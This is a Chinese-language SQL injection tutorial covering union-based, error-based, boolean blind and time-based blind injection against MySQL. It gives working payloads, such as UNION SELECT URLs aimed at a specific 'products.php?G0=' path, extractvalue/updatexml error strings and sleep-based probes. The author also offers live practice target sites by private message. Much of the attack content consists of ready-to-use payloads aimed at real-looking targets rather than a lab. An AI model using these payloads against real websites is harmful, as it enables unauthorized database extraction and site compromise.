1.sql注入原理:
SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数 是攻击者可以控制,并且参 数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现 对数据库的任意操作。
1.1sql注入的危害:
1.数据库信息泄露 网页篡改:通过操作数据库对特定网页进行篡改,嵌入网马链接
2.进行挂马攻击。 数据库被恶意操作:数据库服务器被攻击,
3.数据库的系统管理员帐户被更改。
4.服务器被远程控制:黑客可以修改或控制操作系统。
5.种植木马:瘫痪全系统。
1.2sql注入常见攻击流程:
1.判断是否存在注入
2. 收集信息,判断数据库类型,版本
3. 根据注入类型爆破库名,表名等
4. 获取账号密码,上传文件
1.3sql注入常用的函数
1. version()mysql版本
2. database()数据库名
3. current_user()当前用户名
4. @@datadir数据库路径
5. @@basedir数据库安装路径
[实战网址——私信我]
2.sql注入类型——
2.1判断:使用'或者"去判断等等
2.1联合查询注入
使用条件:当查询的数据页面会有回显
1. order by 1-31 判断数据库表的字段数
http://(域名)/chinese/products.php?G0=3 order by 30 -- -
2.union select 1,2,3,4,5,6——30 判断数据库表中那些字段会回显
http://(域名)/chinese/products.php?G0=-3 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -
3.爆库名 database() version() user()等
http://(域名)/chinese/products.php?G0=-3 UNION SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -
4.爆表名
http://..................1,2,3,(select column_name from information_schema.columns where table_schema='wwwadm' and table_name='users' limit 0,1),4.....30-- -
2.2报错注入
2.2.1 使用条件:
在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错 信息中获取设定的信息。
select/insert/update/delete 都可以使用报错来获取。
2.2.2常用函数:
extractvalue(),updatexml(),exp(),floor()
extractvalue (XML_document, XPath_string):
注释: extractvalue()函数是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数。 第一个参数:XML_docment是String格式,为XML文档对象的名称 第二个参数:XPath_string(Xpath格式的字符串)
updatexml(XML_document, XPath_string, new_value):
注释: updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的函数。 第一个参数:XML_document是String格式,为XML文档对象的名称 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据
报错原理:
extractvalue(),updatexml()都是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数,当传入的值不符合XPATH格式 时报错。
mid(string,1,1) 截取字符串函数
用法:
extractvalue():
| extractvalue(1,concat(0x7e,(select database)))
updatexml():
|updatexml(1,concat(0x7e,(select database()),0x7e),1)
floor():
|select count(*),floor(rand(0)*2) x from users group by x
2.3布尔盲注
判断:
Boolean 是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种 情况; 通过and 1=1 和 and 1=2 可以发现注入点。
常用函数:
通过长度判断 length():length(database())
通过字符判断 substr():substr(database(),1,1) = 's'
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =1
payload
截取数据库的第一个字符:
substr():substr(database(),1,1) ='s'
把截取的字符转换成ASCII:
ascii(substr(database(),1,1)) =110
2.4时间盲注
判断:
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内 容来判断,通过页面响应的时长,来判断信息,这就是时间盲注。
常用函数:
sleep(),benchmark()延迟函数
if(str1,str2,str3) 如果str1正确就执行str2,否则执行str3
payload:
1' and sleep(5) --+